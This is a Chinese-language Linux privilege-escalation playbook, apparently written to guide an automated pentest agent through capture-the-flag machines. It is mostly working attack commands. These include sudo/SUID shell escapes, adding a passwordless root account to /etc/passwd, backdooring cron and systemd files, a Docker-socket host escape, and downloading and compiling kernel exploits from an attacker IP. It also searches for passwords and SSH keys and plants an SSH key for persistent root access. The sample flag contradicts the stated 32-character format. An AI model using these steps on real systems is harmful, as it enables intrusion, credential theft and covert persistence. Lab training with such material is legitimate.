特权提升知识库
目的
这个知识库提供了Linux系统权限提升的综合方法。它涵盖了从低权限用户(www-data,user)提升到root,然后捕获root标记的过程。
分层权限提升策略
核心原则: 通过3个层次系统地提升 - 从快速胜利到详尽枚举。
层次框架:
第1层(快速胜利 - 手动):
- 立即检查最常见的向量
- 目标:在2-3分钟内找到简单的提权
- 重点:sudo -l, SUID, 明显的配置错误
- 时间:2-5分钟
第2层(深度枚举 - 自动化):
- 运行全面的枚举工具
- 目标:找到所有可能的提权向量
- 重点:linpeas, linenum, pspy
- 时间:5-15分钟
第3层(替代方法):
- 尝试较少见的向量或内核漏洞
- 目标:找到被忽视或复杂的提权路径
- 重点:内核漏洞,容器逃逸,NFS等
- 时间:可变
提升触发器:
- 第1层找不到明显的东西 → 运行第2层枚举
- 第2层找到向量但利用失败 → 尝试第3层替代方案
- 第3层失败 → 重新检查侦察,可能错过了服务/配置
核心策略
系统执行:
- 快速胜利(第1层):首先检查简单的向量(sudo, SUID, capabilities)
- 深度枚举(第2层):使用自动化工具找到所有向量
- 替代向量(第3层):内核漏洞,容器逃逸,NFS
- 利用:执行选择的提权方法
- Root标记:定位并读取root.txt
- 验证:用
id,whoami确认root访问
可用工具
枚举脚本
linpeas.sh- 全面自动化枚举linenum.sh- 替代枚举脚本pspy- 无需root监控进程
手动命令
sudo -l- 检查sudo权限find / -perm -4000 2>/dev/null- 查找SUID二进制文件getcap -r / 2>/dev/null- 查找功能crontab -l- 检查用户cron作业cat /etc/crontab- 检查系统cron作业
参考资料
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo利用
- PayloadsAllTheThings - 提权备忘单
枚举工作流程
第1阶段:快速手动检查
立即执行这些:
# 1. 检查当前用户和组
id
groups
# 2. 检查sudo权限(最常见的向量)
sudo -l
# 3. 检查SUID二进制文件
find / -perm -4000 -type f 2>/dev/null
# 4. 检查/etc中可写的文件
find /etc -writable -type f 2>/dev/null
# 5. 检查有趣的文件
ls -la /home/*/
ls -la /root/
ls -la /opt/
ls -la /var/www/html/
# 6. 检查运行中的进程
ps aux | grep root
# 7. 检查cron作业
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# 8. 检查功能
getcap -r / 2>/dev/null
第2阶段:自动化枚举
下载并运行linpeas:
# 下载linpeas
cd /tmp
wget http://YOUR_IP:8000/linpeas.sh
# 或
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
# 使可执行
chmod +x linpeas.sh
# 运行并保存输出
./linpeas.sh > linpeas-output.txt 2>&1
# 查看输出
cat linpeas-output.txt | grep -i "PEASS\|password\|ssh\|priv"
如果不能下载,使用单行:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
常见提权向量
1. Sudo滥用(最常见)
# 检查你可以作为root运行什么
sudo -l
# 常见可利用命令:
# - vim: sudo vim -c ':!/bin/sh'
# - nano: sudo nano, 然后 Ctrl+R Ctrl+X, 类型:reset; sh 1>&0 2>&0
# - less: sudo less /etc/profile, 然后 !sh
# - man: sudo man man, 然后 !sh
# - find: sudo find . -exec /bin/sh \; -quit
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
# - perl: sudo perl -e 'exec "/bin/sh";'
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
# - git: sudo git -p help config, 然后 !sh
# GTFOBins模板:
# 1. 确定你可以sudo的二进制文件
# 2. 在GTFOBins中搜索该二进制文件
# 3. 按照利用步骤操作
2. SUID二进制文件
# 查找SUID二进制文件
find / -perm -4000 -type f 2>/dev/null
# 与标准SUID二进制文件比较
# 不寻常的很有趣
# 常见可利用SUID二进制文件:
# - /usr/bin/python
# - /usr/bin/perl
# - /usr/bin/php
# - /usr/bin/vim
# - /usr/bin/find
# - /usr/bin/nmap(旧版本)
# - 自定义二进制文件
# 利用示例:
# Python SUID
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# Vim SUID
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# 查找SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# 检查GTFOBins中特定二进制文件
3. 功能
# 查找功能
getcap -r / 2>/dev/null
# 可利用功能:
# - cap_setuid+ep在python/perl/ruby上
# - cap_dac_read_search用于读取任何文件
# 具有cap_setuid的Python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 具有cap_setuid的Perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
4. 可写的/etc/passwd
# 检查/etc/passwd是否可写
ls -la /etc/passwd
# 如果可写,添加root用户
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
# 或更简单(密码:hacker)
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
# 登录为新的root用户
su hacker
5. Cron作业
# 检查cron作业
cat /etc/crontab
ls -la /etc/cron.*
# 查找:
# 1. 作为root运行的脚本
# 2. 你的用户可写的
# 如果找到由root运行的可写脚本
echo '#!/bin/bash
chmod +s /bin/bash' > /path/to/script.sh
# 等待cron运行(检查计划)
# 然后执行
/bin/bash -p
6. 可写的服务文件
# 检查可写的systemd服务
find /etc/systemd/system/ -writable 2>/dev/null
# 如果找到,修改ExecStart
[Service]
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
# 重启服务
systemctl restart vulnerable.service
# 执行SUID bash
/bin/bash -p
7. 内核漏洞(最后手段)
# 检查内核版本
uname -a
uname -r
# 搜索内核漏洞
searchsploit "linux kernel $(uname -r)"
searchsploit "ubuntu privilege escalation"
# 常见内核漏洞:
# - DirtyCOW (CVE-2016-5195)
# - Dirty Pipe (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)
# 示例:Dirty Pipe
wget http://YOUR_IP:8000/dirtypipe.c
gcc dirtypipe.c -o dirtypipe
./dirtypipe
8. Docker/容器逃逸
# 检查是否在Docker中
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker
# 如果docker套接字可访问
find / -name docker.sock 2>/dev/null
# 如果找到/var/run/docker.sock
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 或检查是否有特权容器
fdisk -l
# 如果你可以看到主机磁盘,你就是特权的
9. 文件中的凭据
# 搜索密码
grep -r "password" /var/www/html/ 2>/dev/null
grep -r "pass" /etc/ 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
# 检查历史文件
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
# 检查SSH密钥
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
# 数据库凭据
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
10. NFS导出
# 检查NFS导出
cat /etc/exports
# 如果设置了no_root_squash
# 在攻击者机器上挂载:
mkdir /tmp/mount
mount -t nfs TARGET:/share /tmp/mount
# 在攻击者上作为root创建SUID二进制文件
cp /bin/bash /tmp/mount/bash
chmod +s /tmp/mount/bash
# 在目标上执行
/share/bash -p
利用过程
第1步:确定向量
根据枚举,选择最佳向量:
- Sudo权限 - 最高优先级,通常最容易
- SUID二进制文件 - 检查GTFOBins
- 功能 - 较少见但功能强大
- Cron作业 - 可能需要等待
- 内核漏洞 - 最后手段,可能会使系统崩溃
第2步:执行提权
# 示例:Sudo vim利用
# 1. 验证你可以运行它
sudo -l
# 输出:(root)NOPASSWD:/usr/bin/vim
# 2. 作为root执行vim
sudo vim
# 3. 在vim中,输入:
:set shell=/bin/bash
:shell
# 4. 验证root
id
# 输出:uid=0(root)gid=0(root)
第3步:稳定Root访问
一旦获得root,确保你可以保持访问:
# 为bash添加SUID(备份方法)
chmod +s /bin/bash
# 或添加SSH密钥
mkdir -p /root/.ssh
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Root标记捕获
定位Root标记
# 常见位置
cat /root/root.txt
cat /root/flag.txt
# 如果未找到则搜索
find /root -name "*.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
验证标记格式
# 应该是32个字符的十六进制字符串
cat /root/root.txt | wc -c # 应该是33(32 + 换行)
cat /root/root.txt | grep -E '^[a-f0-9]{32}$'
更新状态
# 保存root标记
ROOT_FLAG=$(cat /root/root.txt)
echo "Root flag: $ROOT_FLAG"
# 更新状态文件(如果可访问)
jq --arg flag "$ROOT_FLAG" '.flags.root = $flag' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json
故障排除
无法下载工具
# 方法1:Python HTTP服务器(在攻击者上)
python3 -m http.server 8000
# 方法2:Base64传输
# 在攻击者上:
base64 linpeas.sh | xclip -selection clipboard
# 在目标上:
echo 'BASE64_STRING' | base64 -d > linpeas.sh
# 方法3:仅使用内置工具
# 使用find, grep等手动枚举
没有写权限
# 尝试/tmp
cd /tmp
# 或/dev/shm
cd /dev/shm
# 或当前用户家目录
cd ~
卡住/没有找到向量
# 再次更仔细地运行枚举
# 检查linpeas输出中的任何黄色/红色
cat linpeas-output.txt | grep -E "PEASS|95%|99%"
# 检查遗漏的向量:
# 1. 带有密码的环境变量
env | grep -i "pass\|pwd\|key"
# 2. 进程命令行
ps auxww | grep -i "password\|pass"
# 3. 世界可写的脚本
find / -perm -002 -type f 2>/dev/null
# 4. 配置错误的文件
ls -la /etc/shadow /etc/passwd
# 5. 备份文件
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
输出格式
成功提升权限后:
{
"status": "root_access_gained",
"method": "Sudo vim exploitation via GTFOBins",
"vector": "sudo -l showed vim with NOPASSWD",
"root_flag": "f6e5d4c3b2a1098765432109876543210",
"exploitation_time": "2 minutes",
"mission_complete": true
}
成功标准
任务完成时:
- ☑️ 获得root访问权限(uid=0)
- ☑️ 定位并读取root标记
- ☑️ 标记是32个字符的十六进制字符串
- ☑️ 捕获了用户和root标记
- ☑️ 状态文件更新了两个标记
决策树
获得初始访问权限
│
├─ 运行:sudo -l
│ ├─ 可以sudo某些东西? → GTFOBins → Root
│ └─ 没有sudo → 继续
│
├─ 查找SUID二进制文件
│ ├─ 发现不寻常的SUID? → GTFOBins → Root
│ └─ 没有可利用的SUID → 继续
│
├─ 检查功能
│ ├─ cap_setuid在python/perl上? → 利用 → Root
│ └─ 没有功能 → 继续
│
├─ 检查cron作业
│ ├─ 可写的脚本作为root运行? → 后门 → 等待 → Root
│ └─ 没有cron → 继续
│
├─ 运行linpeas
│ └─ 遵循红色/黄色发现
│
└─ 内核漏洞(最后手段)
└─ 搜索并编译漏洞利用
核心原则
- 系统方法 - 不要跳过步骤,检查一切
- 快速胜利第一 - 在内核漏洞之前sudo
- GTFOBins是你的朋友 - 用于SUID/sudo
- 在声明之前验证 - 确保你实际上有root
- 捕获标记 - 读取root.txt内容,不仅仅是位置
- 非交互式意识 - 一些漏洞需要TTY,相应调整
记住
- 大多数游乐场机器有明显的提权向量
- Sudo配置错误最常见
- SUID二进制文件是第二常见的
- 内核漏洞在游乐场很少需要
- Root标记必须读取 - 不要没有它就声明成功
- 记录成功的方法以供学习和将来参考
任务完成
当你可以执行:
# whoami
root
# cat /root/root.txt
a1b2c3d4e5f6789... (32-char hex)
任务完成!用两个标记更新协调员。